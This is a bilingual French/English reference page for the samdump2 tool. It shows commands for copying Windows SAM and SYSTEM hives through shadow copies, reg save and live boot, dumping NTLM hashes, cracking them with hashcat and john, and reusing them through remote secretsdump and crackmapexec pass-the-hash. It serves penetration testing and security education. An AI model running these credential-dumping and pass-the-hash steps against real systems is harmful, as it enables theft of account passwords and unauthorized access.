← retour aux outils back to tools

# samdump2

Extrait les hashes de mots de passe depuis les fichiers de ruches de registre SAM et SYSTEM de Windows. Produit des hashes NTLM pour un cracking hors-ligne ou des attaques pass-the-hash. Extracts password hashes from Windows SAM and SYSTEM registry hive files. Produces NTLM hashes for offline cracking or pass-the-hash attacks.

↗ https://github.com/azan121468/SAMdump2

## Overview

samdump2 extracts NTLM password hashes from Windows SAM (Security Account Manager) database files. The SAM database stores local user account hashes, but they’re encrypted with the SYSKEY stored in the SYSTEM hive — samdump2 handles the decryption automatically.

## Requirements

    # You need both files from a Windows system:
    # 1. C:\Windows\System32\config\SAM    → local accounts database
    # 2. C:\Windows\System32\config\SYSTEM → contains decryption key (SYSKEY)

    # These files are locked while Windows is running
    # Must be obtained from:
    # - An offline system (boot from Linux/USB)
    # - A backup/shadow copy
    # - A domain controller (NTDS.dit for domain accounts)

## Basic Usage

Extract hashes from offline SAM + SYSTEM files

    samdump2 SYSTEM SAM

    # Output is NTLM hashes in format:
    # username:RID:LM_hash:NT_hash:::

## Example Output

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

    # LM hash: aad3b435b51404eeaad3b435b51404ee = empty/null
    # NT hash: the crackable NTLM hash

## Obtaining SAM/SYSTEM Files

Method 1: Volume Shadow Copy (from Windows with admin)

    vssadmin list shadows

→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

    # Method 2: Registry export (from admin cmd)
    reg save HKLM\SAM SAM
    reg save HKLM\SYSTEM SYSTEM

    # Method 3: From Linux/live boot
    # Mount Windows partition and copy files
    mount /dev/sda2 /mnt/windows
    cp /mnt/windows/Windows/System32/config/SAM ./
    cp /mnt/windows/Windows/System32/config/SYSTEM ./

## Alternatives (Impacket)

secretsdump.py is more commonly used now Remote (requires admin credentials)

    python3 secretsdump.py 'domain/admin:password'@10.10.10.1

Local (with SAM/SYSTEM files)

    python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

From shadow copy

    python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL

## Cracking the Hashes

Extract NT hashes from output

    samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt

Crack with hashcat

    hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Or with john

    john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Pass-the-hash (no cracking needed) Use NT hash directly with impacket/CrackMapExec

    crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'

## Tips

- The LM hash is almost always blank on modern Windows (Vista+) — focus on the NT hash
- NT hash (last colon-separated field) is the one to crack with hashcat mode 1000
- `aad3b435b51404eeaad3b435b51404ee` as LM hash means LM is disabled (good)
- `31d6cfe0d16ae931b73c59d7e0c089c0` as NT hash means empty password

Help / Man page

    samdump2 [options] <SYSTEM> <SAM>

    -o FILE    Output to file (default: stdout)
    -d         Debug output

    Input files:
      SYSTEM   Windows SYSTEM registry hive
      SAM      Windows SAM registry hive

    Output format:
      username:RID:LM_hash:NT_hash:::

## Vue d’ensemble

samdump2 extrait les hashes de mots de passe NTLM depuis les fichiers de base de données SAM (Security Account Manager) de Windows. La base SAM stocke les hashes des comptes locaux, mais ils sont chiffrés avec la SYSKEY stockée dans la ruche SYSTEM : samdump2 gère automatiquement le déchiffrement.

## Prérequis

    # Il faut les deux fichiers d'un système Windows :
    # 1. C:\Windows\System32\config\SAM    → base de données des comptes locaux
    # 2. C:\Windows\System32\config\SYSTEM → contient la clé de déchiffrement (SYSKEY)

    # Ces fichiers sont verrouillés pendant que Windows tourne
    # Il faut les obtenir depuis :
    # - Un système hors-ligne (boot depuis Linux/USB)
    # - Une sauvegarde/copie shadow
    # - Un contrôleur de domaine (NTDS.dit pour les comptes de domaine)

## Utilisation basique

Extraire les hashes depuis des fichiers SAM + SYSTEM hors-ligne

    samdump2 SYSTEM SAM

    # La sortie est constituée de hashes NTLM au format :
    # username:RID:LM_hash:NT_hash:::

## Exemple de sortie

    Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    user:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::

    # Hash LM : aad3b435b51404eeaad3b435b51404ee = vide/nul
    # Hash NT : le hash NTLM crackable

## Obtention des fichiers SAM/SYSTEM

Méthode 1 : copie shadow de volume (depuis Windows avec droits admin)

    vssadmin list shadows

→ → Shadow Copy Volume Name: \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .

    # Méthode 2 : export du registre (depuis une invite de commande admin)
    reg save HKLM\SAM SAM
    reg save HKLM\SYSTEM SYSTEM

    # Méthode 3 : depuis Linux/live boot
    # Monter la partition Windows et copier les fichiers
    mount /dev/sda2 /mnt/windows
    cp /mnt/windows/Windows/System32/config/SAM ./
    cp /mnt/windows/Windows/System32/config/SYSTEM ./

## Alternatives (Impacket)

secretsdump.py est plus couramment utilisé aujourd’hui. À distance (nécessite des identifiants admin)

    python3 secretsdump.py 'domain/admin:password'@10.10.10.1

En local (avec les fichiers SAM/SYSTEM)

    python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

Depuis une copie shadow

    python3 secretsdump.py -sam SAM -system SYSTEM -ntds ntds.dit LOCAL

## Cracker les hashes

Extraire les hashes NT de la sortie

    samdump2 SYSTEM SAM | cut -d: -f4 > ntlm_hashes.txt

Casser avec hashcat

    hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Ou avec john

    john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Pass-the-hash (aucun cracking nécessaire). Utiliser le hash NT directement avec impacket/CrackMapExec

    crackmapexec smb 10.10.10.1 -u administrator -H 'NT_HASH'

## Conseils

- Le hash LM est presque toujours vide sur les Windows modernes (Vista+) : se concentrer sur le hash NT
- Le hash NT (dernier champ séparé par des deux-points) est celui à casser avec hashcat en mode 1000
- `aad3b435b51404eeaad3b435b51404ee` comme hash LM signifie que LM est désactivé (bon signe)
- `31d6cfe0d16ae931b73c59d7e0c089c0` comme hash NT signifie un mot de passe vide

Aide / Page de manuel

    samdump2 [options] <SYSTEM> <SAM>

    -o FILE    Output to file (default: stdout)
    -d         Debug output

    Input files:
      SYSTEM   Windows SYSTEM registry hive
      SAM      Windows SAM registry hive

    Output format:
      username:RID:LM_hash:NT_hash:::